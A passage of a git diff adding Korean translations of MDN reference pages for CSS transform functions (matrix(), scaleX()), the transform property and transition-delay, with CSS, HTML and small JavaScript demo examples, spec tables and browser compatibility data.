+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotateY">rotateY()</a></code></dt>
+ <dd>Rotates an element around the vertical axis.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotateZ">rotateZ()</a></code></dt>
+ <dd>Rotates an element around the z-axis.</dd>
+</dl>
+
+<h3 id="크기_조절">크기 조절</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scale">scale()</a></code></dt>
+ <dd>Scales an element up or down on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scale3d">scale3d()</a></code></dt>
+ <dd>Scales an element up or down in 3D space.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scaleX">scaleX()</a></code></dt>
+ <dd>Scales an element up or down horizontally.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scaleY">scaleY()</a></code></dt>
+ <dd>Scales an element up or down vertically.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/scaleZ">scaleZ()</a></code></dt>
+ <dd>Scales an element up or down along the z-axis.</dd>
+</dl>
+
+<h3 id="기울이기_왜곡">기울이기 (왜곡)</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/skew">skew()</a></code></dt>
+ <dd>Skews an element on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/skewX">skewX()</a></code></dt>
+ <dd>Skews an element in the horizontal direction.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/skewY">skewY()</a></code></dt>
+ <dd>Skews an element in the vertical direction.</dd>
+</dl>
+
+<h3 id="이동">이동</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translate">translate()</a></code></dt>
+ <dd>Translates an element on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translate3d">translate3d()</a></code></dt>
+ <dd>Translates an element in 3D space.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translateX">translateX()</a></code></dt>
+ <dd>Translates an element horizontally.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translateY">translateY()</a></code></dt>
+ <dd>Translates an element vertically.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/translateZ">translateZ()</a></code></dt>
+ <dd>Translates an element along the z-axis.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', '&lt;transform-function&gt;')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Added 3D transform functions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-functions', '&lt;transform-function&gt;')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.transform-function")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS {{cssxref("transform")}} 속성</li>
+</ul>
diff --git a/files/ko/web/css/transform-function/matrix()/index.html b/files/ko/web/css/transform-function/matrix()/index.html
new file mode 100644
index 0000000000..cf9940c92a
--- /dev/null
+++ b/files/ko/web/css/transform-function/matrix()/index.html
@@ -0,0 +1,89 @@
+---
+title: matrix()
+slug: Web/CSS/transform-function/matrix()
+translation_of: Web/CSS/transform-function/matrix()
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>matrix()</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 함수는 2D 변형 동차 행렬을 선언합니다. 결과는 {{cssxref("&lt;transform-function&gt;")}} 데이터 타입입니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> <code>matrix(a, b, c, d, tx, ty)</code> 는 <code><a href="/ko/docs/Web/CSS/transform-function/matrix3d">matrix3d</a>(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1)</code> 를 짧게 쓴 것입니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p><code>matrix()</code> 함수는 6개의 값을 지정합니다. 상수 값은 묵시적이며, 매개변수(parameter)로 전달하지 않습니다. 다른 매개 변수는 column-major 순서로 설명됩니다.</p>
+
+<div class="note"><strong>주의:</strong> 파이어폭스 16까지, Gecko(엔진) <code>tx</code>, <code>ty</code> 에{{cssxref("&lt;length&gt;")}} 값을 허용했습니다.</div>
+
+<pre class="syntaxbox notranslate">matrix(<em>a</em>, <em>b</em>, <em>c</em>, <em>d</em>, <em>tx</em>, <em>ty</em>)
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>a</code> <code>b</code> <code>c</code> <code>d</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}}는 선형 변환(linear transformation)을 설명합니다.</dd>
+ <dt><code>tx</code> <code>ty</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}}는 적용 할 이동(translation)을 설명합니다.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[a b c d tx ty]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="changed"&gt;Changed&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.changed {
+  transform: matrix(1, 2, -1, 1, 80, 80);
+  background-color: pink;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples", 350, 350)}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>호환성 정보는 <code><a href="/ko/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> 데이터 타입을 확인하세요.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/transform-function/matrix3d">matrix3d()</a></code></li>
+ <li><a href="https://dev.opera.com/articles/understanding-the-css-transforms-matrix/">Understanding the CSS Transforms Matrix</a></li>
+</ul>
diff --git a/files/ko/web/css/transform-function/scalex()/index.html b/files/ko/web/css/transform-function/scalex()/index.html
new file mode 100644
index 0000000000..7ef38655fe
--- /dev/null
+++ b/files/ko/web/css/transform-function/scalex()/index.html
@@ -0,0 +1,101 @@
+---
+title: scaleX()
+slug: Web/CSS/transform-function/scaleX()
+translation_of: Web/CSS/transform-function/scaleX()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> 함수인 <strong><code>scaleX()</code></strong> x 축을 따라 (수평방향)으로 요소의 크기를 조절하는 변형을 정의합니다. 결과는  {{cssxref("&lt;transform-function&gt;")}}  데이터 타입 입니다.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12117/scaleX.png" style="height: 315px; width: 372px;"></p>
+
+<p>스케일 팩터가 1 인 경우를 제외하고 상수 요소로 각 엘리먼트 위치의 가로 좌표를 수정합니다, 이 경우 함수는 항등 변환입니다.스케일링은 등방성이 아니며, 엘리먼트의 각도는 보존되지 않습니다.<code>scaleX(-1)</code> 은 원점을 지나는 수직축이 있는 <a class="external" href="http://en.wikipedia.org/wiki/Axial_symmetry">대칭축</a>을 의미합니다  ( {{cssxref("transform-origin")}} 속성의해 지정되어집니다).</p>
+
+<div class="note">
+<p><strong>Note:</strong> <code>scaleX(sx)</code> 는 <code><a href="/en-US/docs/Web/CSS/transform-function/scale">scale</a>(sx, 1)</code> 또는  <code><a href="/en-US/docs/Web/CSS/transform-function/scale3d">scale3d</a>(sx, 1, 1)</code> 와 같습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">scaleX(<em>s</em>)
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>s</code></dt>
+ <dd>요소의 각 위치의 횡좌표에 적용 할 스케일링 펙터를 나타내는 {{cssxref("&lt;number&gt;")}} 입니다.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>s</mtd><mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>1</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[s 0 0 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="scaled"&gt;Scaled&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  width: 80px;
+  height: 80px;
+  background-color: skyblue;
+}
+
+.scaled {
+  transform: scaleX(0.6);
+  background-color: pink;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples","200","200")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-scalex", "scaleX()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/transform/index.html b/files/ko/web/css/transform/index.html
new file mode 100644
index 0000000000..a270b6733b
--- /dev/null
+++ b/files/ko/web/css/transform/index.html
@@ -0,0 +1,151 @@
+---
+title: transform
+slug: Web/CSS/transform
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - transform
+translation_of: Web/CSS/transform
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>transform</code></strong> 속성으로 요소에 회전, 크기 조절, 기울이기, 이동 효과를 부여할 수 있습니다.</span> <code>transform</code>은 CSS <a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a>의 좌표 공간을 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform.html")}}</div>
+
+
+
+<p><code>none</code>이 아닌 값을 지정하면 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 이 경우, {{cssxref("position")}}이 <code>fixed</code>거나 <code>absolute</code>인 요소의 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>으로서 작용합니다.</p>
+
+<div class="warning">
+<p>변형 가능한 요소만 <code>transform</code>할 수 있습니다. 즉, CSS 박스 모델이 레이아웃을 결정하는 모든 요소 중 <a href="/ko/docs/Web/CSS/Visual_formatting_model#Inline-level_elements_and_inline_boxes">비대체 인라인 박스</a>, <a href="/ko/docs/Web/HTML/Element/col">표 열 박스</a>, <a href="/ko/docs/Web/HTML/Element/colgroup">표 열 그룹 박스</a>를 제외한 요소에만 적용할 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+transform: none;
+
+/* 함수 값 */
+transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
+transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
+transform: perspective(17px);
+transform: rotate(0.5turn);
+transform: rotate3d(1, 2.0, 3.0, 10deg);
+transform: rotateX(10deg);
+transform: rotateY(10deg);
+transform: rotateZ(10deg);
+transform: translate(12px, 50%);
+transform: translate3d(12px, 50%, 3em);
+transform: translateX(2em);
+transform: translateY(3in);
+transform: translateZ(2px);
+transform: scale(2, 0.5);
+transform: scale3d(2.5, 1.2, 0.3);
+transform: scaleX(2);
+transform: scaleY(0.5);
+transform: scaleZ(0.3);
+transform: skew(30deg, 20deg);
+transform: skewX(30deg);
+transform: skewY(1.07rad);
+
+/* 다중 함수 값 */
+transform: translateX(10px) rotate(10deg) translateY(5px);
+transform: perspective(500px) translate(10px, 0, 20px) rotateY(3deg);
+
+/* 전역 값 */
+transform: inherit;
+transform: initial;
+transform: unset;</pre>
+
+<p><code>transform</code> 속성은 키워드 <code>{{anch("none")}}</code> 또는 하나 이상의 <code>{{anch("&lt;transform-function&gt;")}}</code> 값을 사용해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="&lt;transform-function>">{{cssxref("&lt;transform-function&gt;")}}</dt>
+ <dd>요소에 적용할 하나 이상의 <a href="/ko/docs/Web/CSS/transform-function">CSS 변형 함수</a>. 변형 함수는 왼쪽에서 오른쪽으로 곱해집니다. 즉, 요소에 변형을 오른쪽부터 왼쪽으로 하나씩 순서대로 적용하는 것과 같습니다.</dd>
+ <dt id="none"><code>none</code></dt>
+ <dd>아무런 변형도 적용하지 않음.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<p>{{cssxref("transform-function/perspective", "perspective()")}}가 변형 함수의 일부라면 항상 제일 앞에 위치해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Transformed element&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  border: solid red;
+  transform: translate(30px, 20px) rotate(20deg);
+  width: 140px;
+  height: 60px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "400", "160")}}</p>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">CSS 변형 사용하기</a>와 {{cssxref("&lt;transform-function&gt;")}} 문서를 방문해 더 많은 예제를 찾아보세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>크기 변경/확대/축소 애니메이션은 흔한 편두통 유발 요인이므로 접근성에 좋지 않습니다. 그러나 꼭 넣어야 한다면 되도록 사이트 전체의 애니메이션을 켜거나 끌 수 있는 방법을 제공하는걸 고려해주세요.</p>
+
+<p>{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} 미디어 기능을 사용할 수도 있습니다. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries">미디어 쿼리</a>와 함께 사용하면, 사용자가 시스템 설정에서 애니메이션을 줄였는지 알아내고, 애니메이션을 비활성화할 수 있습니다.</p>
+
+<p>자세한 내용은 다음 링크에서 확인할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.3_%E2%80%94_Seizures_and_Physical_Reactions_Do_not_design_content_in_a_way_that_is_known_to_cause_seizures_or_physical_reactions">MDN Understanding WCAG, Guideline 2.3 explanations</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions">Understanding Success Criterion 2.3.3 | W3C Understanding WCAG 2.1</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Adds 3D transform functions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.transform")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">CSS 변형 사용하기</a></li>
+ <li>변형 함수의 설명을 담은 {{cssxref("&lt;transform-function&gt;")}} 자료형 문서.</li>
+ <li>CSS 변형 함수의 시각화가 가능한 온라인 도구: <a href="https://css-transform.moro.es/">CSS Transform Playground</a></li>
+</ul>
diff --git a/files/ko/web/css/transition-delay/index.html b/files/ko/web/css/transition-delay/index.html
new file mode 100644
index 0000000000..17a8543321
--- /dev/null
+++ b/files/ko/web/css/transition-delay/index.html
@@ -0,0 +1,395 @@
+---
+title: transition-delay
+slug: Web/CSS/transition-delay
+translation_of: Web/CSS/transition-delay
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p><strong><code>transition-delay</code></strong> CSS 속성은 transition될 속성이 transition 요청을 받은 이후 실제로 <a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">transition하기</a>까지 기다려야하는 시간의 양을 지정합니다.</p>
+
+<p>A value of <code>0s</code>, or <code>0ms</code>, indicates that the property will begin to animate its transition immediately when the value changes; positive values will delay the start of the transition effect for the corresponding number of seconds. Negative values cause the transition to begin immediately, but to cause the transition to seem to begin partway through the animation effect.</p>
+
+<p>You may specify multiple delays; each delay will be applied to the corresponding property as specified by the {{cssxref("transition-property")}} property, which acts as a master list. If there are fewer delays specified than in the master list, missing values are set to the initial value (<code>0s</code>). If there are more delays, the list is simply truncated to the right size. In both case the CSS declaration stays valid.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css">/* &lt;time&gt; values */
+transition-delay: 3s;
+transition-delay: 2s, 4ms;
+
+/* Global values */
+transition-delay: inherit;
+transition-delay: initial;
+transition-delay: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>Is a {{cssxref("&lt;time&gt;")}} denoting the amount of time to wait between a property's value changing and the start of the animation effect.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<div>
+<div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+</div>
+
+<div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+</div>
+
+<div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+</div>
+
+<div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-delay', 'transition-delay')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+   <td>10.0</td>
+   <td>11.6 {{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>3.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
